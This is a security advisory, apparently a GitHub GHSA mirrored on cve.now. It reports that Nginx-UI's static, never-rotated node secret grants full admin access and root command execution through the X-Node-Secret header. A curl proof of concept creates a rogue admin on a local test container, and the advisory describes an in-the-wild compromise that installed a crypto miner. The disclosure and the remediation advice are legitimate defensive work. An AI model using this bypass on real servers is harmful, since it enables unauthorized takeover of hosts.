# GHSA-W8P3-R29G-JG3P: Static node secret grants full unauthenticated admin (user creation + terminal RCE) — still present in 2.4.2

- Database: GitHub
- Severity: high (stated by ghsa, no CVSS score)
- Published: 2026-07-29
- Modified: 2026-07-29

## Affected versions

- github.com/0xJacky/Nginx-UI (Go): from 2.0.0, fixed in 2.5.0

## Description

> # ⚠️ CRITICAL — UPGRADING DOES NOT REMEDIATE THIS. YOU MUST ROTATE SECRETS.
>
> **If your nginx-ui instance EVER ran a version `<= 2.3.6`, assume its `node.secret`,
> `app.jwt_secret`, and backup encryption key are ALREADY COMPROMISED — even if you have
> since upgraded to 2.4.2.**
>
> These secrets were disclosed by prior vulnerabilities (**CVE-2026-27944**, *fully
> unauthenticated*, `< 2.3.3`; and **GHSA-7jrr-xw9c-mj39**, `<= 2.3.6`). The node secret
> **is static and is NEVER regenerated** — not on upgrade, not on container recreation,
> not on a full host reinstall (it is restored from `app.ini`/backups). A leaked secret
> therefore remains a **permanent, working admin + remote-code-execution backdoor** via
> the `X-Node-Secret` header, on the latest 2.4.2, forever, until manually rotated.
>
> **No release note (2.3.3, 2.3.8, 2.3.11, 2.4.2) and no upgrade guide ever told operators
> to rotate these secrets.** Operators who patched in good faith are, right now, still
> backdoored and have received no warning. There is no rotate command; you must hand-edit
> `app.ini` and restart.
>
> **ACTION REQUIRED for every operator, regardless of current version:**
> 1. Rotate `[node] Secret`, `JwtSecret`, and the backup encryption key in `app.ini`; restart.
> 2. Delete any admin accounts you did not create; audit `POST /api/users` in access logs.
> 3. Do not expose the panel to the internet (IP-allowlist / VPN only).

## Summary
`AuthRequired()` accepts the instance **node secret** (`settings.NodeSettings.Secret`,
i.e. `app.ini` `[node] Secret`) presented in the `X-Node-Secret` request header or
the `node_secret` query parameter, and, when it matches, executes the request **as
the initial administrator (user id 1)** with no login, JWT, or session.

Because this check lives in the generic `AuthRequired()` middleware that guards the
whole authenticated API, a caller holding the node secret gains full admin over
**every** protected endpoint — including `POST /api/users` (create a new admin) and
the built‑in web terminal (`[terminal] StartCmd`, default `/bin/bash`), i.e. remote
code execution as the nginx-ui process user (root in the official Docker image).

The node secret is a **static value that is never rotated** — not on upgrade, not on
container recreation, not on host reinstall (it is restored from `app.ini`/backups).
It has been disclosed by multiple prior advisories (e.g. GHSA-7jrr-xw9c-mj39 settings
disclosure, GHSA-g9w5-qffc-6762 / CVE-2026-27944 backup key disclosure). Once leaked,
it is a permanent admin/RCE backdoor that survives patching.

**This is reproducible on the latest release, 2.4.2** (tested), not only on older
versions. The trust block is unchanged from 2.3.10 through 2.4.2.

## Affected versions
- Confirmed reproduced: **2.3.10** and **2.4.2** (latest at time of writing).
- Root cause present across this range (`internal/middleware/middleware.go`).

## Severity
Estimated **High**. Precondition: possession of the node secret. Given that the secret
(a) is transmitted as a static, replayable header, (b) never rotates, (c) has multiple
historical disclosure paths, and (d) yields full interactive admin + RCE rather than a
scoped node-to-node capability, the impact once the precondition is met is total
(confidentiality/integrity/availability + host compromise in the Docker image).
Suggested CVSS 3.1 vector for discussion: `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` (the
secret is a system value, not a per-user credential; `S:C` because the nginx-ui process
manages the host nginx and, in the official image, runs as root).

## Precondition: how the node secret is obtained
This bypass requires the node secret. On a **fully patched 2.4.2** I could find **no
unauthenticated disclosure path** — `GET /api/backup`, `/api/settings`, `/api/config`,
`/api/configs`, `/api/nodes`, `/api/self_check` all return `403` without credentials
(tested). So on the latest release this is a **privilege-escalation / design flaw that
requires the secret**, not a standalone pre-auth RCE.

However, the secret is trivially obtained on/through **earlier versions**, and — because
it never rotates — a leak from any past version remains a valid admin key on 2.4.2:
- **CVE-2026-27944 / GHSA-g9w5-qffc-6762** (affected `< 2.3.3`): **unauthenticated**
  `GET /api/backup` returns the encrypted backup *and* the AES key/IV in the
  `X-Backup-Security` response header. The backup contains `app.ini` → the node secret.
  Fully pre-auth.
- **GHSA-7jrr-xw9c-mj39** (affected `<= 2.3.6`): authenticated `GET /api/settings`
  serialized the live settings — including `node.secret` and `app.jwt_secret` — with no
  redaction (the `protected:"true"` tag was ignored). That advisory's own PoC chains it:
  disclosed `node.secret` → `X-Node-Secret` → `/api/backup` → `/api/restore`.
- Any backup file, config disclosure, or filesystem access also yields `app.ini`.

Real-world path for the reporting instance: the secret leaked while the panel ran an
older version (or was restored from a pre-existing backup), and — never having been
rotated — stayed valid after the box was patched and even after a full host reinstall.

## Why upgrading alone did not protect operators (missing rotation guidance)
The disclosure fixes shipped, but **the leaked secrets keep working**, and upstream
never told operators to rotate them where they would see it:
- Release notes for **v2.3.3** (fixed the unauth backup leak) and **v2.3.8** (fixed the
  settings disclosure) contain **no mention of rotating** the node secret, JWT secret,
  or backup key. v2.3.8 only lists *"Protect sensitive settings with a 2FA-gated reveal
  flow"* — the code fix, with no warning that already-disclosed secrets remain valid.
  v2.3.11 and v2.4.2 notes likewise say nothing about rotation.
- CVE-2026-27944 / GHSA-g9w5-qffc-6762 (the **unauthenticated** leak, the one most likely
  to have been exploited at scale) contains **no rotation guidance** at all.
- GHSA-7jrr-xw9c-mj39 does list *"Rotate compromised secrets on upgrade/fix — node
  secret, JWT signing secret, backup encryption material"* — but only as item #9 of ten
  researcher recommendations, not surfaced in any release note, upgrade guide, or in-app
  prompt.

Net effect: a diligent operator who patched to 2.3.8+ was silently left with a live,
non-rotating admin/RCE backdoor and **no signal that rotation was required**. There is
also no documented CLI/flag to rotate the node secret — it must be hand-edited in
`app.ini` and the service restarted.

## Details / root cause
`internal/middleware/middleware.go`, `AuthRequired()` (identical in 2.3.10 and 2.4.2):

```go
func AuthRequired() gin.HandlerFunc {
  return func(c *gin.Context) {
    ...
    if nodeSecret := getNodeSecret(c); nodeSecret != "" && nodeSecret == settings.NodeSettings.Secret {
        initUser := user.GetInitUser(c)   // db.First(user, 1) -> the admin
        c.Set("user", initUser)
        c.Next()                          // proceeds as admin; no JWT required
        return
    }
    token := getToken(c)
    if token == "" { abortWithAuthFailure(); return }
    ...
  }
}
```

`getNodeSecret(c)` reads the `X-Node-Secret` header or `node_secret` query parameter.
`user.GetInitUser` returns user id 1. Thus any request carrying the node secret is
processed with full admin identity. `POST /api/users` is registered under this same
`AuthRequired()` group (`router/routers.go` → `user.InitManageUserRouter`), so it is
reachable this way and creates a fully privileged account.

## Proof of concept (against 2.4.2)
```bash
# Isolated, throwaway instance
docker run -d --name nui -p 127.0.0.1:9000:9000 -v "$PWD/ui:/etc/nginx-ui" uozi/nginx-ui:2.4.2
# Read the auto-generated node secret (models an attacker who has obtained it):
SECRET=$(awk '/^\[node\]/{f=1} f&&/Secret/{print $3; exit}' ui/app.ini)

# 1) Baseline — endpoint is protected without the secret:
curl -s -o /dev/null -w '%{http_code}\n' -X POST http://127.0.0.1:9000/api/users \
  -H 'Content-Type: application/json' -d '{"name":"x","password":"Passw0rd1234","status":true}'
#   -> 403

# 2) Bypass — node secret creates an admin, no login:
curl -s -X POST http://127.0.0.1:9000/api/users \
  -H "X-Node-Secret: $SECRET" -H 'Content-Type: application/json' \
  -d '{"name":"attacker","password":"Passw0rd1234","status":true}'
#   -> 200 {"id":2,"name":"attacker","status":true,...}   (also works via ?node_secret=)

# 3) The account is a real admin: log in (RSA-PKCS1v15 handshake) and call admin APIs;
#    then the web terminal (StartCmd=/bin/bash) yields RCE as root.
```
Observed: 2.3.10 → VULNERABLE, 2.4.2 → VULNERABLE (identical results).

## Impact (observed in the wild)
On a production 2.3.10 instance whose panel was reachable, an attacker used exactly
this path: `POST /api/users` (node-secret bypass) created a rogue admin, logged in as
it, opened `/api/self_check/websocket` (the terminal), and dropped an XMRig miner to
`/usr/local/bin/xmrig` running as root in the container. The rogue admin persisted in
the database.

## Suggested remediation
1. Do not grant full admin via the node secret in `AuthRequired()`. Restrict trusted‑node
   auth to the specific cluster/replication endpoints that require it; never to
   `/api/users`, settings, or the terminal.
2. Make the node secret rotatable and rotate/regenerate it on upgrade; never carry a
   pre‑existing secret across a version bump without re‑issuing it.
3. Replace the static replayable header with a challenge/response or mTLS scheme for
   inter‑node authentication.
4. Do not run the official image as root; drop privileges and `CAP_NET_BIND_SERVICE`‑scope
   port binding so a panel compromise is not immediate container root.
5. **Surface secret rotation to operators.** The prior disclosure fixes closed the leak
   but left already-leaked secrets valid, with no rotation prompt in release notes or an
   upgrade guide. Any advisory/release fixing a secret disclosure should prominently
   instruct operators to rotate the node secret, JWT secret, and backup key — patching is
   not sufficient. Provide a documented CLI/command to rotate the node secret.

## Credit
Reported by the operator of an affected instance. Relates to a prior private report
(GHSA-c74w-76j5-c9f9); this report demonstrates the issue is **unfixed in 2.4.2**.

## References

- https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-w8p3-r29g-jg3p

Page: https://cve.now/GHSA-W8P3-R29G-JG3P

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
